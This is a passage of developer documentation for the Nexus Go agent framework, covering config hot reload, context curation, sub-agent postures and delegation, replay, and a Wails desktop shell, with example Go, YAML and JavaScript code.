engine.XMLTag(&builder, "tag", "attr", "value") // write opening tag
engine.XMLClose(&builder, "tag") // write closing tag
engine.XMLCDATA(content) // wrap in <![CDATA[...]]>
engine.XMLEscape(s) // escape &, <, >, "
API
type PromptSectionFunc func() string
type PromptRegistry struct {
Register(name string, priority int, fn PromptSectionFunc)
Unregister(name string)
Apply(systemPrompt string) string
}
Register— Adds a named section. If a section with the same name already exists, it is replaced.Unregister— Removes a named section.Apply— Takes the base system prompt, wraps it in<system_instructions>, and appends all registered sections wrapped in<prompt_section>tags, in priority order.
Use Cases
- Skill catalogs — The skills plugin registers available skills so the agent knows what’s available
- Dynamic variables — The dynvars plugin injects current date/time and system info
- Custom context — Your plugins can inject any context the agent should be aware of
Hot Reload
Engine.ReloadConfig(newConfig *Config) error applies a config change to a
running engine without restarting unaffected plugins. Phase 5 of Idea 10
(engine resilience) introduced it; the design is intentionally cautious so
operators can adjust gate thresholds, model assignments, and tool
allowlists in production without dropping every active session.
Architecture
The reload runs in two phases.
1. Validate (atomic)
- The new config is run through the same JSON-schema validation pass that
Bootperforms. Every active plugin’sConfigSchemaProvideris re-checked against the new config map; engine-level fields (engine.shutdown.drain_timeout,engine.config_watch) are validated against the engine schema (pkg/engine/engine_schema.json). - Capability provider identity is pinned. If a capability bound at
boot (e.g.
memory.history) would resolve to a different concrete plugin under the new active set, the reload is rejected. The session has in-flight state bound to the existing provider; a silent swap would strip the operator’s history. - The active-set diff is computed: which IDs are added, which removed, which kept with a config change.
Any error here returns immediately. The engine is unchanged.
2. Apply (best-effort)
The diff is walked:
| Delta | Action |
|---|---|
| Plugin added | Init → Ready (subscriptions registered by Init) |
| Plugin removed | Shutdown (subscriptions released by Shutdown) |
Config change w/ ConfigReloader | ReloadConfig(old, new) in place; subscriptions preserved |
Config change w/o ConfigReloader | Shutdown → fresh factory → Init → Ready |
| Engine-only field | Swapped before per-plugin work; takes effect on next read |
Atomicity caveat
The validate phase is atomic — failures here leave the engine state
untouched. The apply phase is best-effort. If a per-plugin
ReloadConfig or Init / Ready fails partway through, prior changes
have already taken effect (a restarted plugin has already re-subscribed
to the bus and may have written to journals or storage). The engine logs
the failure and surfaces it to the caller; we do not attempt to roll
back. “Undoing” a Shutdown is not generally possible — the plugin’s
in-memory state is gone.
If a partial reload leaves the engine in a state the operator dislikes,
re-issue ReloadConfig with the previous config to revert.
ConfigReloader opt-in
// pkg/engine/plugin.go
type ConfigReloader interface {
ReloadConfig(old, new map[string]any) error
}
A plugin that implements ConfigReloader receives the in-place hook on a
config-only change instead of going through the restart path. Both paths
are supported; the hook is purely an optimization for plugins where a
full restart would drop in-progress work (e.g. an HTTP listener with
established WebSocket connections, an MCP client mid-stream).
Implementations must be transactional from the bus’s perspective: returning an error must leave the plugin in its prior state — bus subscriptions, in-memory data, persisted scratch — unchanged. The engine makes no attempt to restart on top of a failed in-place reload.
Capability pinning
Capability provider identity is pinned for the lifetime of a session.
The constraint is enforced in the validate phase: if a capability that
the running engine has resolved (e.g. memory.history →
nexus.memory.capped) would resolve to a different provider in the new
config, the reload is rejected with the error:
capability provider "memory.history" cannot change at runtime (nexus.memory.capped -> nexus.memory.summary_buffer); restart required to rebind session state
Restart the engine to change capability providers — the new session boots with the new provider from clean state.
Triggers
Three triggers feed ReloadConfig:
SIGHUP (CLI)
The cmd/nexus binary’s main loop intercepts SIGHUP, re-reads the
original -config path, and calls ReloadConfig. SIGINT and SIGTERM
continue to terminate the engine.
kill -HUP $(pgrep -f 'nexus -config')
POST /admin/reload-config (browser plugin)
When nexus.io.browser is active, its HTTP server exposes
POST /admin/reload-config. Body is empty (re-read the original path)
or {"path": "/abs/path/to/new.yaml"} for an ad-hoc reload. The endpoint
returns 200 OK with {"ok": true} on success or 400 with
{"ok": false, "error": "..."} on a validation failure; a stuck reload
returns 504 after 30s.
No auth layer yet — alpha-only; front with a reverse proxy if exposed.
Implementation lives in plugins/io/browser/server.go.
fsnotify watcher
Off by default. Opt in via:
engine:
config_watch:
enabled: true
debounce: 1s
The CLI starts a watcher on the -config path and fires ReloadConfig
after each debounced edit. The watcher lives in
pkg/engine/configwatch/. It watches the parent directory rather than
the file itself because editors that swap-on-save (Vim’s default) replace
the file’s inode — a watcher on the original path would miss the swap.
The debounce window collapses bursts of Write/Create events on the
same path into a single reload. Editors commonly fire two or three Write
events when saving; reading a half-written YAML through the validator
would surface a confusing schema error. 1s is well above the typical
storm and short enough that the operator perceives the reload as
instant. Tune downward for fast feedback during dev; leave at the
default (or higher) in production where rapid re-saves rarely happen.
Bus events
External triggers can also dispatch core.config.reload.request on the
event bus and listen for core.config.reload.result. The browser admin
endpoint uses this internally — the engine subscribes to the request
event during Boot and emits the result back. Custom plugins or
embedders that don’t want to hold an *Engine reference can use the
same path.
Code locations
| Concern | File |
|---|---|
ReloadConfig API | pkg/engine/reload.go |
ConfigReloader | pkg/engine/plugin.go |
| Engine schema | pkg/engine/engine_schema.json |
fsnotify watcher | pkg/engine/configwatch/watcher.go |
SIGHUP / CLI hooks | cmd/nexus/main.go |
| Admin HTTP endpoint | plugins/io/browser/server.go |
| Bus event types | pkg/events/core.go |
| Tests | pkg/engine/reload_test.go |
Context Engineering
The conversation history is the LLM’s working memory. Every byte costs tokens, slows the model, and competes with other content for attention. Nexus exposes a layered context-curation stack so operators can shed weight aggressively without losing the reasoning chain.
Layers
The stack runs in cost order on every before:llm.request. Cheaper
deterministic layers fire first; LLM-touching layers run only when the
prior layers leave the request still over budget.
| # | Layer | Plugin | Cost | Cache Impact |
|---|---|---|---|---|
| 1 | Tool-result clearing | nexus.memory.tool_result_clear | None (heuristic) | volatile |
| 2 | Tool-def pruning | nexus.memory.tool_def_pruner | None (heuristic) | session (re-cache once) |
| 3 | Topic-shift detection | nexus.memory.topic_pruner | One classifier or phrase match | volatile |
| 4 | Reasoning-preserving summary | nexus.memory.summary_buffer | One LLM call | session (re-cache once) |
| 5 | Compaction-and-restart | nexus.memory.compaction | One LLM call (full reset) | session (re-cache once) |
Curators never edit the static section — system prompt and operator-set content are off-limits.
Stability Descriptor
Every layer emits a memory.curated envelope event carrying a
stability-impact descriptor:
type MemoryCurated struct {
Layer string // which layer ran
SectionsTouched []CurationSection // section_id, kind, tokens_delta
CacheInvalidates bool // does any touched section cross the cache prefix?
AtTurn int // turn boundary
}
CurationSection.Kind is one of:
volatile— recent turns; no cache impact.session— session-long content (compaction summary, tool definitions); controlled re-cache, charged once and amortised.static— system prompt / tool defs (forbidden — curator must not touch).
A future cache-aware prompt builder (Idea 05) consumes this descriptor to scope re-cache cost. Until that lands, curations batch at turn boundaries to keep cache invalidations predictable.
Replay Determinism
Curation is heuristic and classifier-driven, so curators emit one
event per decision (memory.tool_result_cleared,
memory.tool_def_pruned, memory.topic_shift_detected,
memory.summary_replaced). The durable journal (Idea 01) records every
envelope so replay reproduces curation by replaying decisions, not by
re-running heuristics.
Provider-side vs Harness-side
Anthropic’s server-side tool_result_clear and system_message_edit
primitives, and OpenAI Responses API truncation policies, do similar
work in-provider. Nexus defaults to harness-side curation for
portability — every layer works the same regardless of which provider
the request lands on. Provider-native primitives can be enabled as an
opt-in optimisation when the configured provider supports them.
Eval-Driven Tuning
The eval harness (Idea 07) supports curation-on/off pivots so operators can compare task-success-rate against the cost savings of an aggressive preset. Keep defaults conservative until eval data justifies tightening.
Composing the Stack
A typical full stack:
plugins:
active:
- nexus.agent.react
- nexus.memory.summary_buffer # base history with reasoning-preserving summary
- nexus.memory.tool_result_clear # layer 1
- nexus.memory.tool_def_pruner # layer 2
- nexus.memory.topic_pruner # layer 3
- nexus.discovery.progressive # complements layer 2 (class-level scoping)
- nexus.gate.context_window # last-resort compaction trigger
Layer 5 (compaction-and-restart) is implicit when the context-window
gate fires the existing nexus.memory.compaction coordinator.
Postures
A posture is a registered, named, versioned configuration that describes how a sub-agent should run: which system prompt, which subset of tools, which model, and what default resource budget. Postures are the contract that the delegate runtime resolves at invocation time, and the value operators tune in production to change agent behavior without code changes.
Schema
type AgentPosture struct {
Name string // Registry key parent agents reference
Description string // Human-facing copy (introspection prompts)
SystemPrompt string // The posture's prompt
AllowedTools []string // Closed list of permitted tool names
OutputSchema string // Named schema validated against final output (optional)
Model ModelConfig // Model tier / explicit Provider+Model override
DefaultBudget ResourceBudget // Timeout, MaxTokens, MaxToolCalls
MaxRecursionDepth int // Per-posture depth cap (0 falls back to runtime MaxDepth)
Version string // Content hash, assigned by the loader / registry
}
type ResourceBudget struct {
Timeout time.Duration
MaxTokens int
MaxToolCalls int
}
pkg/posture defines the type and an in-memory Registry. The
nexus.agent.postures plugin loads YAML from disk and exposes the
posture.registry capability.
YAML
Postures live in a directory of *.yaml files. The filename (minus
extension) supplies a fallback name if the YAML omits one. Example:
name: analyst
description: deep reader; quotes sources verbatim
system_prompt: |
You are a careful analyst. Cite sources by URL. Be concise.
allowed_tools:
- web_search
- web_fetch
- read_pdf
output_schema: analyst_report
model:
model_role: reasoning
max_tokens: 4000
default_budget:
timeout: 60s
max_tokens: 50000
max_tool_calls: 20
max_recursion_depth: 2
Versioning
The registry hashes each posture’s content (name, system prompt, allowed
tools, output schema, model selectors) into a 16-character Version string.
Two postures with the same Name but different content are not “different
versions” — the new content replaces the old, but the Version change flows
into the delegate result cache key, invalidating
any stale entries automatically.
Hot reload
nexus.agent.postures watches every configured scan_dirs entry with
fsnotify. Edits and adds re-load the affected file after a small debounce
(debounce_ms, default 250ms); deletes drop the posture from the registry.
Active sub-sessions keep their old configuration; new invocations resolve
the new one. This is how operators tune prompts in production without
restarts.
The watcher swallows individual parse errors with a WARN log — a single
malformed file does not block the rest from registering.
Capability resolution
The plugin advertises:
Capabilities: posture.registry
The delegate plugin requires this
capability, so the lifecycle manager pins the active provider at boot and
the delegate runtime resolves the registry through LookupPlugin without
plugin-to-plugin imports or bus handshake races.
Watching change events
Operators that want to react to posture edits (warm caches, alert on
removals) can subscribe to the posture.registered / posture.removed
bus events; see the events reference.
The in-process posture.Registry.Watch(ctx) channel provides the same
notifications inside the process for plugins that need them.
Configuration
See nexus.agent.postures
in the configuration reference.
Sub-agent Delegation
Delegation is the first-class operation a parent agent uses to call another
agent with a different reasoning posture, system prompt, allowed-tools
subset, and resource budget. From the parent’s perspective a delegate call
is a single tool invocation; underneath, the runtime spawns a sub-session
that has its own context window, its own envelope identity
(Causation.AgentID and Depth), and its own budget.
The runtime lives at pkg/delegate.Runtime; the tool surface is the
nexus.agent.delegate plugin.
Lifecycle of a call
- The parent’s LLM emits a
delegatetool call. - The plugin resolves the posture by name through the posture registry.
- The runtime checks recursion depth (per-posture
max_recursion_depthfirst, then the globalMaxDepth). - The runtime computes a cache key. On a hit, the cached
Outputreturns immediately asStatusCacheHit— no model calls, no tool calls, no budget consumption. - The runtime pushes a
CausationContextcarrying the sub-agent’sAgentIDandDepth, then enters the isolated LLM loop. - Each iteration emits an
llm.requesttagged with the sub-session’s source, collects the response, runs any tool calls (filtered to the posture’sAllowedTools), and appends results to the sub-session’s history. - The loop exits on a tool-call-free response (
StatusSuccess), budget exhaustion (StatusPartial), error (StatusError), timeout (StatusTimeout), or ctx cancel (StatusCancel). - Successful and partial outputs are cached. The final
tool.resultreturns theOutputto the parent agent as JSON.
Budgets
Budgets are non-negotiable, enforced by the runtime, and resolved per-call:
type Overrides struct {
MaxTokens int
MaxToolCalls int
Timeout time.Duration
}
Per-call overrides win when non-zero; otherwise the posture’s
DefaultBudget applies. Timeout becomes a context.WithTimeout around
the loop. MaxTokens is checked after each LLM response and short-circuits
with StatusPartial. MaxToolCalls is checked before dispatching each
tool batch and likewise short-circuits with StatusPartial.
The parent receives the Output.Status and decides whether to retry with a
larger budget, fall back to handling the task itself, or surface the
partial result.
Recursion
Sub-agents can themselves call delegate. Two caps gate the depth:
- The runtime’s
MaxDepth(default 3, configurable via the plugin’smax_depth) is the global ceiling. - Each posture may set
max_recursion_depthto tighten the ceiling for itself.
Exceeding either cap returns ErrRecursionLimit (StatusError) without
spinning up a sub-session.
Caching
The runtime’s Cache interface (default: MemoryCache, an in-process LRU)
keys results on the SHA-256 of:
- Posture
Name - Posture
Version(the content hash; edits invalidate cached results) - The
Taskstring - The canonicalized
Contextmap (keys sorted, values JSON-marshaled) - The sorted
AllowedToolslist
Cache hits return Status = cache_hit and a fresh SubSessionID; Elapsed
reflects only the lookup time. Operators can plug in a Redis-backed cache
by implementing the Cache interface and assigning it on the runtime.
The cache is bypassed for errors and timeouts — operators want a retry to re-execute, not replay a transient failure.
Tool filtering
AllowedTools is a closed list. The runtime snapshots the live tool
catalog on every invocation, intersects it with AllowedTools, and offers
only the intersection to the sub-agent’s LLM. An empty list means “all
tools the catalog currently advertises” — useful for trusted postures.
Observability
Every call emits a delegate.start / delegate.complete pair on the bus;
see the events reference. Every
LLM and tool envelope from inside the sub-session carries the sub-agent’s
AgentID and Depth so observability tooling (otel spans, log shipping)
can attribute the work.
Public API
type Input struct {
Posture string
Task string
Context map[string]any
ParentTurn string
ParentDepth int
Overrides Overrides
}
type Output struct {
Result string
Status Status // success / partial / error / timeout / cancelled / cache_hit
Error string
TokensUsed int
ToolCallsUsed int
Elapsed time.Duration
SubSessionID string
PostureName string
PostureVer string
Depth int
}
func (r *Runtime) Run(ctx context.Context, in Input) (Output, error)
Configuration
See nexus.agent.delegate
in the configuration reference.
Scenes
A Scene is a named, structured, mutable entity that lives for the lifetime of a session. Agents use scenes to construct durable visual output (charts, dashboards, multi-section documents) that is addressable across tool calls, patchable over time, and persisted to disk.
The runtime is schema-agnostic — Nexus stores the content blob and journals patches; downstream renderers (UIs, exporters) interpret the schema-specific content.
Schema
type SceneHandle struct {
ID string // Stable, session-scoped — "scene_<hex>"
SessionID string
Schema string // Names the schema the content conforms to
Version int // Incremented on each patch
}
type Scene struct {
Handle SceneHandle
Content any // Current state
CreatedAt time.Time
UpdatedAt time.Time
History []SceneEvent
}
type SceneEvent struct {
Sequence int
Timestamp time.Time
AgentID string
Patch any
Initial bool
}
pkg/scene defines these types plus the Store interface that
nexus.scene implements with a goroutine-safe in-memory backend.
Behavior
- Stable IDs. Scene IDs are session-scoped and never change after creation. Agents reference them by ID in subsequent tool calls.
- Patches are journaled. Every patch appends a
SceneEventto the scene’s in-memory history and a JSONL line to<session>/plugins/nexus.scene/scenes.jsonl. This is the substrate the replay primitive reads to reconstruct historical state. - Bus events. Creation, patching, and deletion each emit a
scene.*event — see the events reference.agent_idflows fromEvent.Causation.AgentIDso a sub-agent’s contribution is attributable. - Schema is advisory. The runtime does not validate content against the named schema; renderers do.
- Linearization. Concurrent patches (parent + sub-agent, two parallel sub-agents) serialize through the store mutex. First patch at a given key wins; later patches see post-first-patch state.
Patcher
Patches merge through a Patcher implementation. The default is
ShallowMerge:
- Map patch + map content → key-by-key merge, patch keys overwrite.
- Anything else → patch replaces content entirely.
Schema-specific renderers that need richer semantics can swap in their own
Patcher via MemoryStore.WithPatcher.
Tool surface
nexus.scene registers five tools the LLM uses to manipulate scenes:
| Tool | Arguments | Output |
|---|---|---|
scene_create | schema, content | SceneHandle JSON |
scene_patch | scene_id, patch | SceneHandle JSON |
scene_get | scene_id | full Scene JSON (handle + content + history) |
scene_list | (none) | array of SceneHandle |
scene_delete | scene_id | {"deleted":true} |
Persistence
- Per-patch JSONL append to
scenes.jsonl— the durable source of truth for time-travel reconstruction. - Full state snapshot to
scenes.jsononShutdown— what a clean restart loads to pick up where the prior run left off.
Sessions configured to drop scene history can compact scenes.jsonl to
the current state only; correctness does not depend on a complete log.
Configuration
See nexus.scene in the
configuration reference. No config keys today — activate the plugin and
the default tools register at boot.
Streaming Tools
A standard Nexus tool is request-response: an agent emits tool.invoke,
the tool runs, the tool emits tool.result. For long-running operations
that produce incremental output, the agent has to wait for the whole call
to complete — UIs and observability collectors see nothing in between.
pkg/streamtool defines the contract a tool implements when it wants to
publish intermediate output while it runs.
When to use it
A tool should be channel-aware when:
- The work takes more than a few seconds.
- It produces meaningful intermediate output a consumer might render (token stream, report sections, file-by-file progress).
- It can be cancelled cleanly.
For quick request-response operations, the standard tool interface is fine.
Contract
type ChannelTool interface {
Name() string
Stream(ctx context.Context, input map[string]any) (<-chan ToolEvent, error)
}
type ToolEvent struct {
Kind Kind // Progress / Partial / Complete / Error
Sequence int // Monotonic per Stream invocation, starts at 1
Payload any
Progress float64 // 0.0–1.0 if known, -1 otherwise
Err error // Set on KindError
}
The tool owns the channel’s lifetime: it must close the channel when work
completes or ctx cancels, and it must end the stream with KindComplete
or KindError.
Bridge
streamtool.Bridge(ctx, bus, tool, call) drains the channel and projects
each event onto the bus:
KindProgress→tool.stream.progressKindPartial→tool.stream.partialKindComplete→ finaltool.resultcarrying the payloadKindError→ finaltool.resultwith the error
All projected envelopes inherit the originating tool.invoke’s ID as
their Causation.ParentID automatically — the bus’s
per-goroutine dispatch context handles the propagation. UIs subscribed to
tool.stream.partial for live rendering, observability collectors
shipping the stream to Otel, and the parent agent’s tool.result handler
all see the same call linked through causation.
Bridge blocks until the channel closes or ctx cancels and returns nil
on graceful completion, the stream’s error on KindError.
Wiring it into a plugin
A tool plugin keeps its Init and tool registration unchanged. In the
tool.invoke handler it instantiates a ChannelTool, hands it to
Bridge, and lets Bridge emit the final tool.result instead of doing
that itself:
func (p *Plugin) onToolInvoke(ev engine.Event[any]) {
call, _ := ev.Payload.(events.ToolCall)
if call.Name != p.toolName {
return
}
go func() {
_ = streamtool.Bridge(context.Background(), p.bus, &myStreamingTool{...}, call)
}()
}
The plugin still declares tool.stream.progress, tool.stream.partial,
and tool.result in its Emissions().
Events
See tool.stream.* events in
the events reference.
Replay
Given a session ID, pkg/replay reconstructs the full causation DAG and
walks it. Replay is read-only and deterministic — it reads from the
durable journal and the scene patch journal; it does not re-run agents,
LLMs, or tools.
This is the foundation for debugging, audit trails, time-travel, and reproducibility.
API
type Replay struct {
SessionID string
Events []Event // In seq order
Scenes []SceneSnap // Scene state at the requested point in time
LastSeq uint64
}
type Event struct {
Seq uint64
ParentSeq uint64
ParentID string
EventID string
Type string
AgentID string
Depth int
Vetoed bool
Payload any
}
type Options struct {
SessionsRoot string // Engine session root (typically ~/.nexus/sessions)
AtSeq uint64 // Stop after this seq; zero = full journal
IncludeVetoed bool // Keep vetoed before:* envelopes (default true)
}
func Session(ctx context.Context, sessionID string, opts Options) (Replay, error)
func SessionAt(ctx context.Context, sessionID string, atSeq uint64, opts Options) (Replay, error)
Walking the DAG
The Replay value exposes three convenience walkers:
| Walker | Returns |
|---|---|
Roots() | Events with ParentSeq == 0 — operator-driven entry points like io.session.start and io.input arrivals. |
Children(seq) | Events whose ParentSeq matches — the next layer of the DAG below a given node. |
ByAgent(id) | Events whose AgentID matches — the value the sub-agent Causation.AgentID buys: filter the DAG to one specialist’s work. |
For richer traversal, the flat Events slice is in seq order — most
custom walks are a single loop over it.
Use cases
- Debugging. A user reports an issue with a session;
Session(ctx, id, opts)reconstructs the events to read what happened. - Audit. Compliance review walks the DAG to verify what the session
did.
ByAgentanswers “what did the analyst posture decide?” - Time-travel.
SessionAt(ctx, id, atSeq, opts)rebuilds state as it looked atatSeq. Renderers consume the returnedScenesto show historical visual state. - Branch and fork. Replay to a point, then resume the session along a different path with a new agent message. (The engine’s existing rewind primitive consumes the DAG produced here.)
Scene reconstruction
For every session whose <session>/plugins/nexus.scene/scenes.jsonl
exists, replay folds the JSONL stream through scene.ShallowMerge and
returns a SceneSnap per scene at the requested point in time. Sessions
without scenes return events without error.
The scene journal currently records its own per-scene mutation order, not
the bus seq — AtSeq filters by the number of scene-journal lines read,
not the bus dispatch seq. Improving this is a follow-up that adds a bus
seq to each scene journal line.
Performance
For long sessions (thousands of events), full replay can be slow. The
engine’s journal supports periodic snapshots in pkg/engine/replay.go
that replay can start from; integrating snapshot recovery into
pkg/replay.Session is a future optimization. Correctness does not
depend on snapshots.
Desktop Shell
The desktop shell framework (pkg/desktop/) provides everything needed
to embed one or more Nexus agents inside a Wails desktop application.
Your application supplies agent definitions, config YAML, and a
frontend — the framework handles engine lifecycle, event bridging,
settings persistence, session management, and OS integration.
The framework lives inside the Nexus repository. Desktop applications
that use it are built as separate Go modules that import
github.com/frankbardon/nexus/pkg/desktop. A reference implementation
ships at cmd/desktop/ to demonstrate the full feature set.
Architecture
flowchart TB
subgraph App["📦 Your Wails App (cmd/your-app/main.go)"]
direction LR
Run["desktop.Run(&desktop.Shell{ Agents, Assets })"]
end
subgraph FW["🧩 pkg/desktop (framework)"]
direction LR
Shell["Shell<br/><sub>orchestrator</sub>"]
Store["Store<br/><sub>settings + keyring</sub>"]
Sess["Sessions<br/><sub>per-agent index</sub>"]
subgraph EngA["Engine (agent-a)"]
direction TB
IOA["nexus.io.wails<br/>+ scopedRuntime"]
PluginsA["your plugins"]
end
subgraph EngB["Engine (agent-b)"]
direction TB
IOB["nexus.io.wails<br/>+ scopedRuntime"]
PluginsB["your plugins"]
end
Shell --> EngA
Shell --> EngB
end
subgraph Web["🖥 Wails webview (single process, shared)"]
Front["Frontend JS<br/>scoped events:<br/><code>agent-a:nexus</code> · <code>agent-b:nexus</code>"]
end
App --> FW
FW --> Web
EngA <-. namespaced events .-> Front
EngB <-. namespaced events .-> Front
classDef app fill:#3a2d4a,stroke:#9b59b6,stroke-width:2px,color:#fff;
classDef framework fill:#1e3a5f,stroke:#4a90e2,stroke-width:1.5px,color:#fff;
classDef engine fill:#2d4a3e,stroke:#5fb878,stroke-width:1.5px,color:#fff;
classDef web fill:#5f3a1e,stroke:#e2904a,stroke-width:1.5px,color:#fff;
class Run app;
class Shell,Store,Sess framework;
class IOA,IOB,PluginsA,PluginsB engine;
class Front web;
Key concepts
One engine per agent. Each agent gets its own engine.Engine
instance with its own bus, plugin set, session workspace, and config.
Agents never share an engine or bus — isolation is structural.
Lazy boot. Engines are created on demand when the frontend selects
an agent (EnsureAgentRunning). No engine runs until the user
navigates to it.
Scoped runtimes. Each agent’s nexus.io.wails plugin receives a
scopedRuntime that namespaces Wails event channels by agent ID.
The plugin itself is unaware of multi-agent — it talks to its
Runtime interface, and the scoped wrapper handles the namespace.
This means outbound events go to "{agentID}:nexus" and inbound
events come from "{agentID}:nexus.input".
Config-driven event bridging. Domain events flow through the bus,
not through Wails-bound Go methods. The nexus.io.wails plugin
config declares exactly which events cross the bus-to-frontend
boundary via subscribe (outbound) and accept (inbound) lists.
No eng.Run(). Desktop apps must use Boot/Stop directly.
Run installs its own SIGINT/SIGTERM handler, which conflicts
with Wails owning the process lifecycle.
Components
| File | Role |
|---|---|
shell.go | Core orchestrator. Manages per-agent engine lifecycles, Wails app setup, all Wails-bound methods. |
settings.go | Settings schema types (SettingsField, FieldType, SettingsSchema). |
store.go | Persistent settings store. Plaintext JSON at ~/.nexus/desktop/settings.json, secrets in OS keychain via go-keyring. |
resolve.go | ${var} placeholder resolution in config YAML from settings store with scope fallback (agent then shell). |
sessions.go | Session metadata index (SessionMeta). Persists to ~/.nexus/desktop/sessions.json. Cleanup and reconciliation on startup. |
runtime.go | Scoped Runtime adapter for multi-agent event isolation. Enriches file dialog DefaultDirectory from settings. |
watcher.go | Filesystem watcher (fsnotify) for file browser panel. Watches one directory at a time with debounced change notifications. |
Lifecycle
desktop.Run(shell)— Configures and starts the Wails app. Blocks until the app exits.onStartup— Initializes the settings store, session index, file watcher, and agent state entries. Runs session maintenance (cleanup expired, reconcile orphans).- Frontend selects agent — Calls
EnsureAgentRunning(agentID). bootAgent— Resolves${var}placeholders in the agent’s config YAML, creates the engine viaengine.NewFromBytes, registers plugin factories, installs the scoped runtime on the wails plugin, callseng.Boot(ctx), installs bus subscriptions for session metadata and UI state, creates the session index entry.- Agent runs — Domain events flow between plugins and frontend through the bus bridge.
- New session / recall —
StopAgenttears down the current engine (unsubs,eng.Stop, marks session completed), thenbootAgentcreates a fresh engine (or one withRecallSessionIDset for history replay). onShutdown— Stops all running engines, closes the file watcher.
What the framework does NOT do
- Own your frontend. The framework ships a minimal base template
in
frontend/dist/, but you embed your ownassetsviaShell.Assets. Your frontend is yours — Alpine.js, React, vanilla JS, whatever fits. - Define your domain plugins. All agent behavior comes from
plugins you register in
Agent.Factories. The framework only manages thenexus.io.wailsplugin lifecycle. - Restrict agent count. One agent, five agents — the framework scales. Each gets its own engine and scoped runtime.
Building Your Desktop App
This guide walks through creating a Nexus desktop application from scratch. By the end you will have a Wails app hosting a custom agent with settings, session management, and a frontend that communicates with the agent through the bus bridge.
The reference implementation at cmd/desktop/ demonstrates every
feature covered here. When in doubt, consult it as the living example.
Prerequisites
- Go 1.22+
- Wails v2 CLI
(
go install github.com/wailsapp/wails/v2/cmd/wails@latest) - Nexus as a Go module dependency
Project structure
A typical desktop app looks like this:
cmd/my-app/
main.go # Entry point — registers agents, calls desktop.Run
config.yaml # Embedded Nexus config for your agent
internal/
myplugin/ # Your domain plugin(s)
plugin.go
events.go
frontend/
dist/ # Your frontend assets (HTML/CSS/JS)
index.html
build/ # Wails build artifacts (icons, Info.plist)
Step 1: Create your domain plugin
Your agent’s behavior lives in a standard Nexus plugin. It subscribes to events from the frontend, does work, and emits results back.
package myplugin
import (
"github.com/frankbardon/nexus/pkg/engine"
)
type Plugin struct {
bus engine.EventBus
logger engine.Logger
}
func New() engine.Plugin { return &Plugin{} }
func (p *Plugin) ID() string { return "myapp.agent.worker" }
func (p *Plugin) Init(ctx engine.PluginContext) error {
p.bus = ctx.Bus
p.logger = ctx.Logger
return nil
}
func (p *Plugin) Ready() error { return nil }
func (p *Plugin) Shutdown(_ context.Context) error { return nil }
func (p *Plugin) Subscriptions() []engine.EventSubscription {
return []engine.EventSubscription{
{EventType: "work.request", Handler: p.handleRequest},
}
}
func (p *Plugin) Emissions() []string {
return []string{"work.result", "session.meta.title"}
}
func (p *Plugin) handleRequest(event engine.Event[any]) {
payload, _ := event.Payload.(map[string]any)
input, _ := payload["input"].(string)
// Do your work here...
p.bus.Emit("work.result", map[string]any{
"output": "Processed: " + input,
})
// Contribute session metadata so the session list shows
// a meaningful title instead of "Untitled".
p.bus.Emit("session.meta.title", map[string]any{
"title": "Work: " + input,
})
}
Step 2: Write your agent config
The config YAML declares which plugins are active and how the
nexus.io.wails plugin bridges events. Use ${var} placeholders for
values that come from user settings.
# config.yaml
core:
log_level: info
tick_interval: 5s
sessions:
root: ~/.nexus/sessions
retention: 30d
id_format: datetime_short
plugins:
active:
- nexus.io.wails
- myapp.agent.worker
nexus.io.wails:
# Events bridged outbound: bus -> frontend
subscribe:
- "work.result"
- "ui.state.restore"
# Events accepted inbound: frontend -> bus
accept:
- "work.request"
- "ui.state.save"
myapp.agent.worker:
api_key: "${shell.api_key}"
data_dir: "${data_dir}"
Config-driven bridging is explicit. Only events listed in
subscribe and accept cross the bus-to-frontend boundary. If your
frontend isn’t receiving an event, check these lists first.
Step 3: Write your entry point
The entry point registers agents and calls desktop.Run. Config YAML
is embedded at compile time — the shipped binary has no filesystem
dependency on config files.
package main
import (
"embed"
"log"
"github.com/frankbardon/nexus/pkg/desktop"
"github.com/frankbardon/nexus/pkg/engine"
wailsio "github.com/frankbardon/nexus/plugins/io/wails"
"my-module/cmd/my-app/internal/myplugin"
)
//go:embed all:frontend/dist
var assets embed.FS
//go:embed config.yaml
var agentConfig []byte
func main() {
if err := desktop.Run(&desktop.Shell{
Title: "My App",
Width: 1024,
Height: 768,
Assets: assets,
Agents: []desktop.Agent{
{
ID: "my-agent",
Name: "My Agent",
Description: "Does useful work",
Icon: "fa-solid fa-gear",
ConfigYAML: agentConfig,
Factories: map[string]func() engine.Plugin{
"nexus.io.wails": wailsio.New,
"myapp.agent.worker": myplugin.New,
},
Settings: []desktop.SettingsField{
{
Key: "shell.api_key",
Display: "API Key",
Type: desktop.FieldString,
Secret: true,
Required: true,
},
{
Key: "data_dir",
Display: "Data Folder",
Type: desktop.FieldPath,
Required: true,
},
},
},
},
}); err != nil {
log.Fatalf("app: %v", err)
}
}
Key registration details
nexus.io.wailsmust be inFactories. The framework needs to intercept this plugin to install the scoped runtime before boot. Always register it via the factories map.- Every plugin in
plugins.activeneeds a factory. Either throughAgent.Factories(for custom and wails plugins) or the engine’s built-in registry (for stock Nexus plugins likenexus.llm.anthropic). Assetsis optional. If omitted (zero-valueembed.FS), the framework uses its built-in base template. For anything beyond a demo, provide your own.
Step 4: Build your frontend
Your frontend communicates with the agent through scoped Wails events. The pattern:
// Create a bus helper scoped to your agent ID.
function createBus(agentID) {
return {
// Listen for events from the Go side.
on(eventType, callback) {
window.runtime.EventsOn(
`${agentID}:nexus`,
(envelopeJSON) => {
const envelope = JSON.parse(envelopeJSON);
if (envelope.type === eventType) {
callback(envelope.payload);
}
}
);
},
// Send an event to the Go side.
emit(eventType, payload) {
window.runtime.EventsEmit(
`${agentID}:nexus.input`,
JSON.stringify({ type: eventType, payload })
);
},
// Request-response pattern: emit a request, wait for
// a specific response event type.
call(requestType, responseType, payload) {
return new Promise((resolve) => {
const off = window.runtime.EventsOnce(
`${agentID}:nexus`,
(envelopeJSON) => {
const envelope = JSON.parse(envelopeJSON);
if (envelope.type === responseType) {
resolve(envelope.payload);
}
}
);
this.emit(requestType, payload);
});
}
};
}
Usage in your UI:
const bus = createBus('my-agent');
// Listen for results.
bus.on('work.result', (data) => {
document.getElementById('output').textContent = data.output;
});
// Send a request.
document.getElementById('submit').addEventListener('click', () => {
const input = document.getElementById('input').value;
bus.emit('work.request', { input });
});
Calling shell methods
Shell services (settings, sessions, file dialogs) are Wails-bound Go
methods on the Shell struct. Call them from JavaScript via the
generated Wails bindings:
// List available agents.
const agents = await go.desktop.Shell.ListAgents();
// Boot an agent.
await go.desktop.Shell.EnsureAgentRunning('my-agent');
// Open a native file dialog.
